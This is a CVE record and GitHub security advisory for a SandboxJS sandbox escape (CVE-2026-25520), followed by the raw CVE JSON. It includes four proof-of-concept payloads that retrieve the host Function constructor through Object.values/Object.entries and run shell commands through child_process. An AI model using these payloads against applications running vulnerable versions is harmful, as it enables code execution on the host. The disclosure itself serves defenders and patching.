SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.
PUBLISHED5.2CWE-74
SandboxJS has a Sandbox Escape
Problem type
Affected products
nyariv
SandboxJS
< 0.8.29 - AFFECTED
References
https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4
https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4
https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
GitHub Security Advisories
GHSA-58jh-xv4v-pcx4
@nyariv/sandboxjs has a Sandbox Escape issue
https://github.com/advisories/GHSA-58jh-xv4v-pcx4Summary
The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.
Details
The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.
PoC
const s = require('@nyariv/sandboxjs').default;
const sb = new s();
payload = `
console.log(
Object.values(this).at(0)(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);
`
sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
console.log(
Object.entries(this)[0].at(1)(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);
`
sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
console.log(
Object.entries(this)
.at(0)
.map((f) => {
if (typeof f === 'function') {
f.call('', 'return process')()
.getBuiltinModule('child_process')
.execSync('ls -lah', { stdio: 'inherit' });
}
}),
);
`
sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
const t = (f) => {
f.call('', 'return process')()
.getBuiltinModule('child_process')
.execSync('ls -lah', { stdio: 'inherit' });
};
console.log(t.call(...Object.entries(this)[0]));
`
sb.compile(payload)().run();
Impact
Sanbox Escape -> RCE
JSON source
https://cveawg.mitre.org/api/cve/CVE-2026-25520Click to expand
{
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"cveMetadata": {
"cveId": "CVE-2026-25520",
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"dateUpdated": "2026-02-06T20:18:08.646Z",
"dateReserved": "2026-02-02T18:21:42.487Z",
"datePublished": "2026-02-06T19:53:24.219Z",
"state": "PUBLISHED"
},
"containers": {
"cna": {
"providerMetadata": {
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M",
"dateUpdated": "2026-02-06T19:53:24.219Z"
},
"title": "SandboxJS has a Sandbox Escape",
"descriptions": [
{
"lang": "en",
"value": "SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29."
}
],
"affected": [
{
"vendor": "nyariv",
"product": "SandboxJS",
"versions": [
{
"version": "< 0.8.29",
"status": "affected"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"lang": "en",
"description": "CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')",
"cweId": "CWE-74",
"type": "CWE"
}
]
}
],
"references": [
{
"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4",
"name": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4",
"tags": [
"x_refsource_CONFIRM"
]
},
{
"url": "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3",
"name": "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3",
"tags": [
"x_refsource_MISC"
]
}
],
"metrics": [
{
"cvssV3_1": {
"version": "3.1",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"attackVector": "NETWORK",
"attackComplexity": "LOW",
"privilegesRequired": "NONE",
"userInteraction": "NONE",
"scope": "CHANGED",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"availabilityImpact": "HIGH",
"baseScore": 10,
"baseSeverity": "CRITICAL"
}
}
]
},
"adp": [
{
"providerMetadata": {
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP",
"dateUpdated": "2026-02-06T20:18:08.646Z"
},
"title": "CISA ADP Vulnrichment",
"references": [
{
"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4",
"tags": [
"exploit"
]
}
],
"metrics": [
{}
]
}
]
}
}